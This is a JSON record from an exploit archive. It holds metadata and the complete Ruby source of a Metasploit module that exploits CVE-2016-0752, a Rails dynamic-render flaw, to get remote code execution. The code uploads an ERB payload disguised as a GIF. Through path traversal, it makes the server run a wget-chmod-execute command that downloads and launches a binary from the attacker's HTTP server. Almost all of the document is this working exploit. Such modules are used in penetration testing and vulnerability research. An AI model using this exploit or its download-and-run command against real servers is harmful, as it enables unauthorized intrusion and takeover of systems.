{"exploit":{"id":"MSF-multi--http--rails_dynamic_render_code_exec","name":"Ruby on Rails Dynamic Render File Upload Remote Code Execution","description":"This module exploits a remote code execution vulnerability in the explicit render method when leveraging user parameters. This module has been tested across multiple versions of Ruby on Rails. The technique used by this module requires the specified endpoint to be using dynamic render paths, such as the following example: def show render params[:id] end Also, the vulnerable target will need a POST endpoint for the TempFile upload, this can literally be any endpoint. This module doesnt use the log inclusion method of exploitation due to it not being universal enough. Instead, a new code injection technique was found and used whereby an attacker can upload temporary image files against any POST endpoint and use them for the inclusion attack. Finally, you only get one shot at this if you are testing with the builtin rails server, use caution.","cves":["CVE-2016-0752"],"author":"mr_me, John Poulin (forced-request)","published":"2016-10-16","platform":"BSD,Linux","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/28c856ca21ac307a61589dae6a173dfc2003a235/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb","path":"modules/exploits/multi/http/rails_dynamic_render_code_exec.rb","revision":"28c856ca21ac307a61589dae6a173dfc2003a235","filename":"rails_dynamic_render_code_exec.rb","vulnerabilities":[{"id":"CVE-2016-0752","state":"PUBLISHED","title":null,"titleSource":null,"description":"Directory traversal vulnerability in Action View in Ruby on Rails before 3.2.22.1, 4.0.x and 4.1.x before 4.1.14.1, 4.2.x before 4.2.5.1, and 5.x before 5.0.0.beta1.1 allows remote attackers to read arbitrary files by leveraging an application's unrestricted use of the render method and providing a .. (dot dot) in a pathname.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-0752","cvss":{"version":"3.1","baseScore":7.5,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N","source":"CISA-ADP","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2016-0752"},"updatedAt":"2025-10-21T23:55:55.440Z","retrievedAt":"2026-11-27T06:44:06.435Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-multi--http--rails_dynamic_render_code_exec.png?v=2","url":"https://exploitbin.com/exploits/MSF-multi--http--rails_dynamic_render_code_exec","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--rails_dynamic_render_code_exec/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-multi--http--rails_dynamic_render_code_exec/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = ExcellentRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  include Msf::Exploit::Remote::HttpServer\n  include Msf::Exploit::EXE\n  include Msf::Exploit::FileDropper\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'Ruby on Rails Dynamic Render File Upload Remote Code Execution',\n        'Description' => %q{\n          This module exploits a remote code execution vulnerability in the explicit render\n          method when leveraging user parameters.\n          This module has been tested across multiple versions of Ruby on Rails.\n          The technique used by this module requires the specified\n          endpoint to be using dynamic render paths, such as the following example:\n\n          def show\n          render params[:id]\n          end\n\n          Also, the vulnerable target will need a POST endpoint for the TempFile upload, this\n          can literally be any endpoint. This module doesnt use the log inclusion method of\n          exploitation due to it not being universal enough. Instead, a new code injection\n          technique was found and used whereby an attacker can upload temporary image files\n          against any POST endpoint and use them for the inclusion attack. Finally, you only\n          get one shot at this if you are testing with the builtin rails server, use caution.\n        },\n        'Author' => [\n          'mr_me <mr_me@offensive-security.com>', # necromanced old bug & discovered new vector rce vector\n          'John Poulin (forced-request)' # original render bug finder\n        ],\n        'References' => [\n          [ 'CVE', '2016-0752'],\n          [ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/335P1DcLG00'],        # rails patch\n          [ 'URL', 'https://nvisium.com/blog/2016/01/26/rails-dynamic-render-to-rce-cve-2016-0752/'],  # John Poulin CVE-2016-0752 patched in 5.0.0.beta1.1 - January 25, 2016\n          [ 'URL', 'https://gist.github.com/forced-request/5158759a6418e6376afb'],                     # John's original exploit\n        ],\n        'License' => MSF_LICENSE,\n        'Platform' => ['linux', 'bsd'],\n        'Arch' => ARCH_X86,\n        'Payload' => {\n          'DisableNops' => true,\n        },\n        'Privileged' => false,\n        'Targets' => [\n          [ 'Ruby on Rails 4.0.8 July 2, 2014', {} ] # Other versions are also affected\n        ],\n        'DefaultTarget' => 0,\n        'DisclosureDate' => '2016-10-16',\n        'Notes' => {\n          'Reliability' => UNKNOWN_RELIABILITY,\n          'Stability' => UNKNOWN_STABILITY,\n          'SideEffects' => UNKNOWN_SIDE_EFFECTS\n        }\n      )\n    )\n    register_options(\n      [\n        Opt::RPORT(3000),\n        OptString.new('URIPATH', [ true, 'The path to the vulnerable route', \"/users\"]),\n        OptPort.new('SRVPORT', [ true, 'The daemon port to listen on', 1337 ]),\n      ]\n    )\n  end\n\n  def check\n    # this is the check for the dev environment\n    res = send_request_cgi({\n      'uri' => normalize_uri(datastore['URIPATH'], \"%2f\"),\n      'method' => 'GET',\n    }, 60)\n\n    # if the page controller is dynamically rendering, its for sure vuln\n    if res and res.body =~ /render params/\n      return CheckCode::Vulnerable('Successfully verified Rails dynamic render remote code execution condition')\n    end\n\n    # this is the check for the prod environment\n    res = send_request_cgi({\n      'uri' => normalize_uri(datastore['URIPATH'], \"%2fproc%2fself%2fcomm\"),\n      'method' => 'GET',\n    }, 60)\n\n    # if we can read files, its likley we can execute code\n    if res and res.body =~ /ruby/\n      return CheckCode::Appears('The target appears to be vulnerable based on the response')\n    end\n\n    return CheckCode::Safe('The target is not vulnerable')\n  end\n\n  def on_request_uri(cli, request)\n    if (not @pl)\n      print_error(\"#{Rex::Socket.to_authority(rhost, rport)} - A request came in, but the payload wasn't ready yet!\")\n      return\n    end\n    print_status(\"#{Rex::Socket.to_authority(rhost, rport)} - Sending the payload to the server...\")\n    @elf_sent = true\n    send_response(cli, @pl)\n  end\n\n  def send_payload\n    @bd = rand_text_alpha(8 + rand(8))\n    fn = rand_text_alpha(8 + rand(8))\n    un = rand_text_alpha(8 + rand(8))\n    pn = rand_text_alpha(8 + rand(8))\n    register_file_for_cleanup(\"/tmp/#{@bd}\")\n    cmd = \"wget #{@service_url} -O /tmp/#{@bd};\"\n    cmd << \"chmod 755 /tmp/#{@bd};\"\n    cmd << \"/tmp/#{@bd}\"\n    pay = \"<%=`#{cmd}`%>\"\n    print_status(\"uploading image...\")\n    data = Rex::MIME::Message.new\n    data.add_part(pay, nil, nil, 'form-data; name=\"#{un}\"; filename=\"#{fn}.gif\"')\n    res = send_request_cgi({\n      'method' => 'POST',\n      'cookie' => @cookie,\n      'uri' => normalize_uri(datastore['URIPATH'], pn),\n      'ctype' => \"multipart/form-data; boundary=#{data.bound}\",\n      'data' => data.to_s\n    })\n    if res and res.code == 422 and res.body =~ /Tempfile:\\/(.*)&gt;/\n      @path = \"#{$1}\" if res.body =~ /Tempfile:\\/(.*)&gt;/\n      return true\n    else\n\n      # this is where we pull the log file\n      if leak_log\n        return true\n      end\n    end\n    return false\n  end\n\n  def leak_log\n    # path to the log /proc/self/fd/7\n    # this bypasses the extension check\n    res = send_request_cgi({\n      'uri' => normalize_uri(datastore['URIPATH'], \"proc%2fself%2ffd%2f7\"),\n      'method' => 'GET',\n    }, 60)\n\n    if res and res.code == 200 and res.body =~ /Tempfile:\\/(.*)>, @original_filename=/\n      @path = \"#{$1}\" if res.body =~ /Tempfile:\\/(.*)>, @original_filename=/\n      return true\n    end\n    return false\n  end\n\n  def start_http_server\n    @pl = generate_payload_exe\n    @elf_sent = false\n    downfile = rand_text_alpha(8 + rand(8))\n    resource_uri = '/' + downfile\n\n    @service_url = \"http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}\"\n    print_status(\"#{Rex::Socket.to_authority(rhost, rport)} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...\")\n    start_service({\n      'Uri' => {\n        'Proc' => Proc.new { |cli, req|\n          on_request_uri(cli, req)\n        },\n        'Path' => resource_uri\n      },\n      'ssl' => false # do not use SSL\n    })\n\n    connect\n  end\n\n  def render_tmpfile\n    @path.gsub!(/\\//, '%2f')\n    res = send_request_cgi({\n      'uri' => normalize_uri(datastore['URIPATH'], @path),\n      'method' => 'GET',\n    }, 1)\n  end\n\n  def exploit\n    print_status(\"Sending initial request to detect exploitability\")\n    start_http_server\n    if send_payload\n      print_good(\"injected payload\")\n      render_tmpfile\n\n      # we need to delay, for the stager\n      select(nil, nil, nil, 5)\n    end\n  end\nend\n","sha256":"234d79deb930ef95f0b0d654741dcc822268e76abc6efeb291058d00c26de9d0","bytes":6875,"fetchedAt":"2026-11-27T14:16:28.087Z","encoding":"utf-8 (display only; download retains original bytes)"}